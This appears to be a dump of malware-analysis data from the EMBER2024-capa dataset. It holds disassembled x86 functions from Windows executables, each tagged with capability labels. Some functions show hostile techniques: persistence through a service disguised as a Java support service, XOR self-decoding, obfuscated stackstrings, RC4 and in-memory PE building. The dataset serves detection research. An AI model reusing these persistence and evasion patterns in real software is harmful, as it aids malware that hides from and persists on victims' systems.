joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40103d
Capabilities:
Authenticate hmac
Encode data using base64
Manually build aes constants
Parse pe header
Terminate process

Disassembly:
push esi
call fcn.004010c6
mov esi, eax
call fcn.00401092
push 0x403004
push section..data
call fcn.00401078
jmp loc.004151a9

Function at 0x4010c6
Capabilities:
Accept command line arguments
Authenticate hmac
Manually build aes constants

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x40301c], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
jne 0x4010fd
xor eax, eax
jmp 0x4011a9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [esi], 0x22
jne 0x401124
inc esi
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40111e
cmp al, 0x22
je 0x40111e
inc esi
jmp 0x401111
cmp byte [esi], bl
jne 0x40113f
jmp 0x4010f6
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40113b
cmp al, 0x20
je 0x40113b
cmp al, 9
je 0x40113b
inc esi
jmp 0x40112a
cmp byte [esi], bl
je 0x401142
mov byte [esi], bl
inc esi
push 1
mov ecx, 0x403020
pop eax
mov dl, byte [esi]
cmp dl, bl
je 0x401155
cmp dl, 0x20
je 0x40115a
cmp dl, 9
jne 0x40115d
inc esi
jmp 0x40114a
mov dl, byte [esi]
cmp dl, bl
je 0x4011a9
cmp dl, 0x22
jne 0x40117f
inc esi
inc eax
mov dword [ecx], esi
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
jmp 0x406a1a
mov dword [ecx], esi
inc eax
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x20
je 0x40119a
cmp dl, 9
je 0x40119a
inc esi
jmp 0x401187
cmp byte [esi], bl
je 0x4011a9
mov byte [esi], bl
inc esi
cmp ecx, 0x40321c
jl 0x40114a
pop edi
pop esi
pop ebx
ret

Function at 0x401205
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x22c
mov edi, eax
lea eax, [ebp - 0x230]
push ebx
push eax
call fcn.00401580
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401273
push str.explorer.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401279
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40124f
jmp 0x40127f
jmp 0x411282
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40129b
push ebx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
Function at 0x4012dd
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4013b9
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
xor eax, eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov ebx, 0xf01ff
push ebx
push str.Java_TM__Virtual_Machine_Support_Service
mov edi, str.javatmsup
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x401391
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp loc.0041278f
lea ecx, [ebp - 8]
push ecx
push 1
push eax
mov dword [ebp - 8], str.Java_interoperability_virtual_machine_support_for_continuing_execution_of_code
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4013bc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
push edi
push dword [ebp + 8]
call fcn.004012a2
push 0x40
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
jmp loc.0040fd75
Function at 0x402865
Capabilities:
Get keyboard layout
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414ac8
push 0x40f860
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x208
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0xd
call dword [sym.imp.KERNEL32.dll_AddAtomA]
movzx eax, ax
cmp eax, 0xd
je 0x4028a8
push 0
call dword [sym.imp.msvcrt.dll__exit]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0xb03
imul eax, eax, 0x1e
imul esi, eax
mov edi, dword [ebp - 0x34]
sub edi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0x311
imul eax, eax, 0xf
xor edi, eax
mov dword [ebp - 0x34], edi
push 0xd
call dword [sym.imp.KERNEL32.dll_AddAtomA]
movzx eax, ax
cmp eax, 0xd
je 0x4028f9
push 0
call dword [sym.imp.msvcrt.dll__exit]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], eax
fld qword [0x414a60]
call sub.msvcrt.dll__CIsin
fstp dword [ebp - 0x218]
fld dword [ebp - 0x218]
fcomp qword [0x414a58]
fnstsw ax
test ah, 0x41
jne 0x40292c
cli
jmp section..htext

Function at 0x407005
Capabilities:
Get keyboard layout
Set environment variable

Disassembly:
mov dword [0x417004], eax
call fcn.00403549
jmp fcn.00402865
Function at 0x100c117
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x1003800
call fcn.01007d0c
xor esi, esi
cmp dword [0x10107f0], esi
jne 0x100c15b
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100c146
mov dword [0x10107f0], edi
jmp 0x100c15b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x100c15b
mov dword [0x10107f0], 2
mov eax, dword [0x10107f0]
cmp eax, 2
je 0x100c23c
cmp eax, esi
je 0x100c23c
cmp eax, 1
jne 0x100c1a0
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x100c189
mov eax, dword [0x101070c]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x100c1a7
xor eax, eax
jmp 0x100c24e
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.01007e70
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x100c1dd
cmp edi, esi
jne 0x100c1f8
lea eax, [ebx + ebx]
push eax
call fcn.010080ad
pop ecx
mov edi, eax
cmp edi, esi
je 0x100c1a0
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100c22b
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x100c215
push esi
push esi
jmp 0x100c21b
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x100c237
push edi
call fcn.01007fe8
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x100c24e
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.01007d47
ret

Function at 0x101801b
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword fs:[0], esp
mov dword [0x1018012], ebp
xor eax, eax
push eax
push eax
push 1
push eax
push eax
push 0x80000000
push 0x2000
push eax
push eax
push 0x80000000
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
sub edi, edi
sub ecx, ecx
cld
mov cl, 0x72
lea edi, [edi + 1]
loop 0x1018056
cld
jmp 0x101805e
cld
call fcn.01018099
add esi, 0x45
sub ebx, ebx
or ebx, 0x2900
cmc
push esi
mov al, byte [esi]
xor ax, di
nop
xchg ebx, ebx
nop
mov byte [esi], al
clc
inc esi
inc edi
dec ebx
cmp ebx, 0
jne 0x1018074
pop esi
clc
xchg ebx, ebx
clc
mov edi, dword [ebp - 8]
mov dword fs:[0], edi
leave
jmp esi
Function at 0x64016de0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x64016e39
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.640169ae
push eax
push esi
push dword [ebp + 8]
call fcn.64016963
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.6401699e
pop esp
movd mm0, dword [edi - 0x836278]
invalid
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.6401699e
cld
outsd dx, dword [esi]
sbb eax, 0x7c858d3e
invalid

Function at 0x64017090
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x64017075
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x64017093
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x640170f1
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x640170d8
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x640170e1
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x640170eb
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x640170cd
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x64017057
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x6401713e
dec eax
je 0x64017135
sub eax, 3
je 0x6401712c
mov dword [ebp - 4], 0x40
jmp 0x6401715b
mov dword [ebp - 4], 4
jmp 0x64017141
mov dword [ebp - 4], 0x20
jmp 0x64017141
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x6401718d
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x6401710d
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.6401699e
mov dh, 0x9e
xchg esp, eax
mov dword [0x6a1475ff], eax
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x64017199
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x640170e0
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x64017075
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x64017093
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x640170f1
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x640170d8
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x640170e1
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x640170eb
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x640170cd
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x64017057
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x6401713e
dec eax
je 0x64017135
sub eax, 3
je 0x6401712c
mov dword [ebp - 4], 0x40
jmp 0x6401715b
mov dword [ebp - 4], 4
jmp 0x64017141
mov dword [ebp - 4], 0x20
jmp 0x64017141
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x6401718d
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x6401710d
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.6401699e
mov dh, 0x9e
xchg esp, eax
mov dword [0x6a1475ff], eax
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x64017199
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x64017e10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc edx
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.6401699e
jmp 0x64017e77
clc
invalid
Function at 0x64018990
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [edx], ch
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x640189e8
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
cmp ah, 0xff
invalid
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x640189ed
jmp 0x64018340
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x64018a34
lea eax, [ebp - 0x714]
push eax
call fcn.640169ae
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.64016963
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x64018a3f
jmp 0x64018a44
jmp 0x64018340
cmp dword [ebp - 0x37c], 0
jne 0x64018aee
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x38c]
cld
invalid
dec dword [ecx - 0x7e77b]
inc dword [ebx - 0x7df5b]
inc dword [eax]
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x7e4], eax
push dword [ebp - 0x7e4]
lea eax, [ebp - 0x7ec]
push eax
push dword [ebp - 0x748]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
jne 0x64018ab6
call fcn.64016b7a
add esp, 0x14
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x64018ada
lea eax, [ebp - 0x714]
push eax
call fcn.640169ae
pop ecx
push eax
push dword [ebp - 0x7e0]
call fcn.64016a43
pop ecx
pop ecx
mov dword [ebp - 0x37c], eax
push dword [ebp - 0x7e4]
push 1
push dword [ebp - 0x674]
call dword [ebp - 0x39c]
push dword [ebp + 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 0x540]
push dword [ebp - 0x684]
push dword [ebp - 0x688]
push dword [ebp - 0x3ac]
push dword [ebp - 0x400]
push dword [ebp - 0x54c]
push dword [ebp - 0x678]
lea eax, [ebp - 0x334]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [ebp - 0x37c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x640195b0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x640742cc
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x640ba34c]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
push 0x40700
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QObjectPrivate::constructor_int_]
mov eax, dword [esp + 0x28]
xor ebx, ebx
push eax
lea ecx, [esi + 0x50]
mov dword [esp + 0x24], ebx
mov dword [esi], vtable.QHttpNetworkConnectionPrivate.0
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::constructor_class_QString_const__]
mov cx, word [esp + 0x2c]
mov dl, byte [esp + 0x30]
mov word [esi + 0x54], cx
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 1
mov byte [esi + 0x56], dl
mov dword [esi + 0x58], 6
mov byte [esi + 0x60], bl
mov byte [esi + 0x61], bl
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::constructor_void_]
mov edi, eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], 2
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::constructor_void_]
mov ebp, eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x20], 3
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::constructor_void_]
push edi
push ebp
push ebx
push eax
push 2
lea ecx, [esi + 0x64]
mov byte [esp + 0x34], 4
call sym.QtNetwork4.dll_public:_void___thiscall_QNetworkProxy::constructor_enum_QNetworkProxy::ProxyType__class_QString_const___unsigned_short_int__class_QString_const___class_QString_const__
lea ecx, [esp + 0x30]
mov byte [esp + 0x20], 6
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::destructor_void_]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], 7
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::destructor_void_]
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 8
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QString::destructor_void_]
mov eax, dword [sym.imp.QtCore4.dll_struct_QListData::Data_QListData::shared_null]
mov ecx, eax
mov dword [esi + 0x68], eax
call dword [sym.imp.QtCore4.dll_public:_bool___thiscall_QBasicAtomicInt::ref_void_]
mov ecx, dword [sym.imp.QtCore4.dll_struct_QListData::Data_QListData::shared_null]
mov byte [esp + 0x20], 9
mov dword [esi + 0x6c], ecx
call dword [sym.imp.QtCore4.dll_public:_bool___thiscall_QBasicAtomicInt::ref_void_]
mov edi, dword [esi + 0x58]
xor ecx, ecx
mov eax, edi
mov edx, 0x60
mul edx
seto cl
mov byte [esp + 0x20], 0xa
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.6406f9fe
add esp, 4
mov dword [esp + 0x30], eax
cmp eax, ebx
mov byte [esp + 0x20], 0xb
je 0x64019706
push fcn.640192c0
push 0x6401c6a0
push edi
lea ebx, [eax + 4]
push 0x60
push ebx
mov dword [eax], edi
call fcn.6406fb7a
mov eax, esi
mov dword [esi + 0x5c], ebx
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0xc
Function at 0x1015152f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10193b00], 0
mov byte [0x10193b04], 0
mov dword [0x10193afc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10193af8], 0x2469
mov eax, dword [0x10193afc]
add eax, 1
mov dword [0x10193afc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1015156a
jmp 0x101515a4
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x10193afc], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101515b5
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10193b08], 0
mov edx, dword [0x10193b00]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10193b08], edi
mov dword [0x10193af8], 0x16c0
mov eax, edi
cdq
idiv ecx
mov dword [0x10193b00], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x10193b04], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x10193b04]
mov edx, dword [0x10193b00]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x10193afc]
add edx, 1
mov dword [0x10193afc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101515b5
jmp 0x1015159c
Function at 0x10151923
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
lea esi, [ebp - 0x2c]
mov edi, dword [0x10193af8]
mov ebx, edi
add ebx, 0x24c6
mov dword [0x10193af4], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov cl, byte [eax + 0x1015334f]
mov dl, byte [eax + 0x10153320]
sub dl, cl
mov byte [ebp + eax - 0x2c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x40], eax
jne 0x1015195a
mov eax, dword [ebp - 0x38]
add eax, 0xffff0b38
mov dword [0x10193af8], eax
mov dword [0x10193af4], 0xec8
call fcn.10152738
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.10151287
xor ecx, ecx
mov dword [0x10193af4], 0x753
cmp eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
je 0x10151a82
mov eax, dword [ebp - 0x44]
mov dword [0x10193af4], 0xdeb
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10193af8], 0x228e
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
mov dword [ebp - 0x4c], eax
call fcn.10151421
xor eax, eax
mov ecx, dword [0x10193af8]
add ecx, 0xffffe96a
mov dword [0x10193af4], ecx
mov ecx, dword [ebp - 0x4c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x34]
mov dword [edx + 0x2c], ecx
mov dword [0x10193af8], 0x1302
mov ecx, dword [ebp - 0x4c]
mov dword [edx + 0x10], ecx
cmp ecx, 0
mov dword [ebp - 0x48], eax
je 0x10151a82
mov eax, dword [ebp - 0x4c]
add eax, 0x22cd
mov dword [ebp - 0x50], eax
mov dword [0x10193af4], 0x1875
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret